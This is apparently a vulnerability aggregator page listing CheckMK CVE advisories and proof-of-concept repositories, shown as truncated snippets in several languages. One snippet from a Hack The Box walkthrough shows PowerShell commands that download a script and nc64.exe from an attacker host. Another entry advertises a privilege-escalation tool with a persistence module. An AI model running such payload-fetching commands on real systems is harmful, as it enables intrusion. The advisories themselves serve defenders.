CVE-2021-40906

CVE-2021-40906 - 未经身份验证区域中的反射型XSS 应用： CheckMK Management Web Console 软件版本： 从1.5.0到1.5.0p25 作者： Edgar Augusto Loyola Torres. 攻击类型： 反射型XSS 解决方案： 更新至软件版本1.6.0p26或更高版本 摘要： CheckMK Raw...

CVE-2021-40905

CVE-2021-40905 - 通过特制的 .mkp 文件实现 RCE 应用程序： CheckMK 管理 Web 控制台 软件版本： 小于或等于 2.0.0p17 攻击类型： RCE 解决方案： 待定，或 CheckMk 会手动审查在 https://exchange.checkmk.com/ 上共享的 MKP，检查是否存在恶意代码或可疑导入等。 摘要： CheckMk 企业版（版本 1.5.0 至 2.0.0p17）的 Web 管理控制台未正确过滤“.mkp”文件（即扩展包）的上传，从而可能导致远程代码执行。成功利用此漏洞需要访问 Web...

CVE-2021-36563

CVE-2021-36563 – Múltiples XSS almacenados y reflejados Aplicación: CheckMK Management Web Console Revisión de software: De 1.5.0 a 2.0.0p9 Tipo de ataque: XSS almacenado y reflejado Solución: Actualizar a la revisión de software 2.0.0p10 o posterior Resumen: La consola web de gestión de CheckMK...

CVE-2021-40904

CVE-2021-40904 - 通过CheckMk的Dokuwiki嵌入式应用程序实现远程代码执行（RCE） 应用程序： CheckMK管理Web控制台 软件版本： 从1.5.0到1.5.0p25 攻击类型： 远程代码执行（RCE） 解决方案： 升级至1.6或更高版本。 概述： CheckMk Raw Edition（版本1.5.0至1.5.0p25）的Web管理控制台存在对默认安装的Web应用Dokuwiki的配置错误，允许嵌入PHP代码。因此可实现远程代码执行。成功利用需要访问Web管理界面，用户需具备有效凭据或通过管理员角色劫持会话。 技术描述： 参见 CVE-2021-4090...

CVE-2024-0670

CVE-2024-0670 – Escalada de privilegios local en el agente CheckMK PoC en PowerShell Resumen Este repositorio presenta una prueba de concepto independiente en PowerShell para CVE-2024-0670 , una vulnerabilidad de escalada de privilegios local en Windows en el agente CheckMK. La vulnerabilidad...

CVE-2024-0670

CVE-2024-0670 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abu...

checkmk-log4j-scanner

用于检查 log4j2 CVE-2021-44228 的 checkmk 扩展 此插件封装了 logpresso/CVE-2021-44228-Scanner（Apache License 2.0） 工作原理 运行分为 5 步： 1. 递归查找所有 .jar、.war、.ear、.aar 文件。 2. 在 JAR 文件中查找 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 条目。 3. 读取 groupId、artifactId 和 version。 4. 比较 log4j2 版本并打印存在漏洞的版本。...

HTB-NanoCorp-CVE-2024-0670

CVE-2024-0670 - CheckMK Agent MSI 修复权限提升 NanoCorp HTB 此存储库包含一个 PowerShell 脚本，用于利用 Hack The Box 上 NanoCorp 机器中的 CVE-2024-0670 漏洞。该漏洞允许低权限用户滥用 CheckMK Windows Agent MSI 修复功能并以 SYSTEM 权限执行任意命令。 注意： 此漏洞利用是为 NanoCorp Hack The Box 机器开发的，在其他环境中使用前可能需要修改。 免责声明： 此存储库仅供教育目的和授权安全测试使用。仅可在您拥有或明确允许测试的系统上使用。 用法...

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

CVE-2024-0670 – Escalada de Privilegios Local del Agente CheckMK PoC Este repositorio contiene una prueba de concepto simple y limpia para CVE-2024-0670, una vulnerabilidad de escalada de privilegios local en el Agente CheckMK para Windows. Un usuario con bajos privilegios puede obtener privilegi...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

Fsociety-CVE-2024-0670-CheckMK-LPE

🚀 Fsociety-CVE-2024-0670-CheckMK-LPE - 强大的系统访问，如此简单 📦 概述 你好，朋友。该工具为 CheckMK CVE-2024-0670 解锁高级访问权限。它利用薄弱的文件处理机制来获取 SYSTEM 权限。该软件包含一项专门的持久化功能。它使用 C++ 开发，旨在为用户提供在 Windows 环境中进行有效权限提升所需的工具。 🛠️ 功能特性 高级 LPE ：通过已识别的漏洞获取 SYSTEM 访问权限。 持久化模块 ：即使系统重启后仍能维持访问。 用户友好界面 ：专为易用性而设计，即使是非技术用户也能轻松上手。 兼容性 ：适用于 Windows...

CVE-2026-15937

Improper certificate validation in Checkmk 2.5.0p10 allows a relay and a push agent that share the same UUID to reuse each other's mTLS certificate to authenticate against agent receiver endpoints in either direction, because the endpoints do not verify that the certificate was issued by their ow...

EUVD-2026-70973

Improper certificate validation in Checkmk 2.5.0p10 allows a relay and a push agent that share the same UUID to reuse each other's mTLS certificate to authenticate against agent receiver endpoints in either direction, because the endpoints do not verify that the certificate was issued by their ow...

CVE-2026-15937

Checkmk versions prior to 2.5.0p10 contain an improper certificate validation flaw in agent receiver endpoints . The endpoints fail to verify that a presented mTLS certificate was issued by their own root certificate. As a result, a relay and a push agent that share the same UUID can reuse each o...

CVE-2026-15937 Agent receiver certificate confusion allows authentication with a certificate issued for another endpoint

Improper certificate validation in Checkmk 2.5.0p10 allows a relay and a push agent that share the same UUID to reuse each other's mTLS certificate to authenticate against agent receiver endpoints in either direction, because the endpoints do not verify that the certificate was issued by their ow...

Linux Distros Unpatched Vulnerability : CVE-2026-15576

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Improper authentication in the agent receiver of Checkmk 2.5.0p10 allows an unauthenticated remote attacker to bypass mutual TLS client certificate verification...

Linux Distros Unpatched Vulnerability : CVE-2026-17548

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view...

CVE-2026-17548

Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...

UBUNTU-CVE-2026-17548

Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...

CVE-2026-17548

Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...